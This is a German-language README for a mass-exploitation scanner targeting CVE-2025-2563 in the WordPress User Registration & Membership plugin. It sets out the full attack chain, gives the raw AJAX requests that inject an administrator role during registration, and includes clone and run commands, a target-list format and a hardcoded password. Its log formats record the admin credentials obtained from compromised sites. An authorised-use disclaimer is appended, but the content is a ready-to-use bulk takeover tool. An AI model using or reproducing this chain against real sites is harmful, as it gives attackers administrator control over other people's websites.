
Das User Registration & Membership WordPress-Plugin vor Version 4.1.2 verhindert nicht, dass Benutzer ihre Benutzerrolle festlegen können, wenn das Membership Addon aktiviert ist, was zu einer Privilegienerweiterung führt und nicht authentifizierten Benutzern ermöglicht, Administratorrechte zu erlangen.
Das WordPress-Plugin User Registration & Membership vor Version 4.1.2 verhindert nicht, dass Benutzer ihre Kontorolle festlegen können, wenn das Membership-Addon aktiviert ist, was zu einem Privilegieneskalationsproblem führt und es nicht authentifizierten Benutzern ermöglicht, Administratorrechte zu erlangen.
Beschreibung:
Das User Registration & Membership-Plugin für WordPress in Versionen vor 4.1.2 erzwingt keine serverseitigen Rollenbeschränkungen, wenn das Membership-Addon aktiviert ist. Während des Registrierungsprozesses für die Mitgliedschaft akzeptiert das Plugin ein vom Benutzer bereitgestelltes role-Feld in der AJAX-Aktion user_registration_membership_register_member, ohne es gegen eine serverseitige Whitelist zu validieren. Ein vollständig nicht authentifizierter entfernter Angreifer kann eine ausgeklügelte zweistufige AJAX-Kette einsenden – zuerst ein neues Benutzerkonto über user_registration_user_form_submit registrieren, dann "role": "administrator" in das members_data-Payload des Mitgliedschaftsaufrufs injizieren – um stillschweigend ein vollständig privilegiertes WordPress-Administrator-Konto zu erstellen. Dies führt zu einer vollständigen Kompromittierung der Website ohne erforderliche Authentifizierung oder Benutzerinteraktion.
Dies ist ein Proof-of-Concept (PoC) Massenausnutzungs-Scanner, der auf WordPress-Installationen mit einer anfälligen Version des User Registration & Membership-Plugins mit aktiviertem Membership-Addon abzielt. Das Tool führt eine intelligente mehrstufige Ausnutzung mit automatischer Erkennung, Nonce-Sammlung, Combo-basierter Registrierung, Rolleninjektion und Administrator-Verifikation durch.
[Phase 1 — Erkennung]
GET /membership-pricing/ → Extrahiere membership_id, Preislinks
GET /membership-registration/ → Extrahiere form_id, Nonces, Sicherheitstoken
GET /registration/ → Fallback-Registrierungsseite
↓
[Phase 2 — Nonce-Extraktion]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registrierung (Combo-Angriff)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Probiere alle gültigen Kombinationen bis success=true
↓
[Phase 4 — Rolleninjektion (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Der Server weist dem neu erstellten Benutzer die Administratorrolle zu
↓
[Phase 5 — Administrator-Verifikation]
POST /wp-login.php → Einloggen mit neuen Anmeldedaten
GET /wp-admin/ → Prüfe adminmenu / wp-admin-bar
GET /wp-admin/users.php → Bestätige manage_options-Zugriff
GET /wp-admin/plugin-install.php → Bestätige Plugin-Installationszugriff
↓
[In Nx_admin.txt speichern]
Format: [Zeitstempel] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oder über eine Anforderungsdatei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Repository klonen
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Abhängigkeiten installieren
pip install -r requirements.txt
# Tool ausführen
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Das Tool verwendet eine vollständig interaktive Terminaloberfläche, unterstützt von Rich.
Erstellen Sie eine reine Textdatei (Standard: list.txt) – ein Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com
target4.com
Ziele ohne
http://oderhttps://werden automatisch mithttps://ergänzt.
Ziele-Datei [list.txt]: list.txt
Threads [3]: 5
HTTP-Timeout (Sekunden) [10]: 10
Maximale Registrierungsversuche pro Ziel [20]: 20
Das Passwort ist intern fest auf
Nx_adminSAfür alle Registrierungsversuche gesetzt.
Das Tool durchsucht automatisch drei Seiten pro Ziel:
| Seite | Zweck |
|---|---|
Die folgenden Token werden aus rohem HTML und Inline-JavaScript extrahiert:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
Das Tool durchläuft automatisch alle gefundenen Kombinationen aus security, frontend_nonce, form_id und membership_id, bis eine success: true-Antwort empfangen wird.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ Der Server akzeptiert das
role-Feld ohne jegliche Whitelist – das ist die Ursache von CVE-2025-2563.
| Datei | Beschreibung |
|---|---|
reg.txt | Alle erfolgreichen Registrierungsversuche mit Anmeldedaten |
Nx_admin.txt | Alle bestätigten Administrator-Eskalationen |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ Von: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Ziel │ Status │ Passwort / Hinweis │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ KOMPROMITTIERT (ausgenutzt) │ password: Nx_adminSA│
│ https://target2.com │ VERWUNDBAR (Nonce offengelegt)│ │
│ https://target3.com │ TOT (Verbindungsfehler) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registrierungsprotokoll: reg.txt
Ausnutzungs- (Admin-)Protokoll: Nx_admin.txt
Von: Nxploited (Khaled Alenazi)
DIESES WERKZEUG WIRD NUR ZU BILDUNGSZWECKEN UND FÜR AUTORISIERTE SICHERHEITSFORSCHUNG ZUR VERFÜGUNG GESTELLT.
Der Autor, Nxploited (Khaled Alenazi), und alle Mitwirkenden an diesem Projekt befürworten, unterstützen oder übernehmen keinerlei Verantwortung für den Missbrauch dieses Werkzeugs oder für Schäden, die durch die Verwendung dieser Software gegen Systeme entstehen, für die Sie keine ausdrückliche schriftliche Genehmigung haben.
- ✅ Erlaubt: Verwendung auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich schriftliche Genehmigung zum Testen erhalten haben.
- ❌ Verboten: Verwendung gegen Systeme ohne vorherige ausdrückliche schriftliche Genehmigung des Systembesitzers.
Der unbefugte Zugriff auf Computersysteme ist illegal und strafbar nach geltendem Recht, einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act (CMA) und gleichwertige Gesetze weltweit.
Durch die Verwendung dieses Werkzeugs übernehmen Sie die alleinige und volle Verantwortung für Ihre Handlungen und bestätigen, dass Sie die rechtliche Befugnis haben, die angezielten Systeme zu testen.
Der Autor übernimmt keinerlei Haftung für direkte, indirekte, zufällige oder Folgeschäden, die aus der Nutzung oder dem Missbrauch dieser Software entstehen.
© 2025 Nxploited (Khaled Alenazi) — Nur für autorisierte Sicherheitsforschung.
| Feld | Details |
|---|
| CVE-ID | CVE-2025-2563 |
| Schweregrad | HOCH — CVSS v3.1 Score: 8.1 |
| Vektor | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Betroffene Software | User Registration & Membership Plugin für WordPress |
| Betroffene Versionen | Alle Versionen vor 4.1.2 |
| Schwachstellentyp | Fehlerhaftes Privilegienmanagement — Erstellung von Administrator-Konten ohne Authentifizierung |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-269: Fehlerhaftes Privilegienmanagement |
/membership-pricing/ |
membership_id und Registrierungslinks extrahieren |
/membership-registration/ | Formular-Token, Nonces und Feld-IDs extrahieren |
/membership-registration/?membership_id=<id> | Planspezifische Formular-Extraktion |
/registration/ | Fallback-generische Registrierungsseite |
| Token | Quelle |
|---|
_nonce | ur_membership_frontend_localized_data JS-Objekt |
ur_frontend_form_nonce | Verstecktes Eingabefeld oder JS-Objekt |
security | user_registration_params.user_registration_form_data_save |
form_id | Versteckte Eingabe ur-user-form-id oder JS-Objekt |
membership_id | Radio-Eingabe urm_membership oder URL-Abfragezeichenfolge |
| Status | Farbe | Bedeutung |
|---|
KOMPROMITTIERT (ausgenutzt) | 🟢 Grün | Vollständige Kette erfolgreich – Admin-Login verifiziert |
KOMPROMITTIERT (Ausnutzung OK, Admin nicht verifiziert) | 🟡 Gelb | Rolleninjektion erfolgreich, aber Admin-Panel-Prüfung nicht schlüssig |
VERWUNDBAR (Nonce offengelegt, Registrierung fehlgeschlagen) | 🟡 Gelb | Mitgliedschafts-Nonce gefunden, aber Registrierungs-AJAX fehlgeschlagen |
VERWUNDBAR (Nonce offengelegt, Ausnutzung ausstehend) | 🟡 Gelb | Nonce gefunden, aber Ausnutzung konnte nicht abgeschlossen werden |
AUSNUTZUNG | 🟡 Gelb | Aktive Ausnutzung läuft |
REGISTRIERT (keine Mitgliedschafts-Nonce) | 🟡 Gelb | Registrierung erfolgreich, aber Nonce nicht extrahierbar |
KEINE REG (alle Versuche fehlgeschlagen) | ⚫ Dunkel | Alle Security-/Nonce-/Form-ID-Kombinationen erschöpft |
KEINE REG (maximale Versuche erreicht) | ⚫ Dunkel | Konfigurierte Versuchsgrenze erreicht |
TOT (keine Mitgliedschafts-/Registrierungsseiten) | ⚫ Dunkel | Plugin auf dem Ziel nicht erkannt |
AUSNUTZUNG FEHLGESCHLAGEN (Anfragefehler) | 🔴 Rot | Netzwerkfehler während des Rolleninjektionsaufrufs |
AUSNUTZUNG FEHLGESCHLAGEN (success=false) | 🔴 Rot | Server gab success: false bei Rolleninjektion zurück |
ZEITÜBERSCHREITUNG | ⚫ Dunkel | HTTP-Timeout |
TOT (Verbindungsfehler) | ⚫ Dunkel | Verbindung verweigert / nicht erreichbar |
FEHLER | 🔴 Rot | Unerwartete Ausnahme |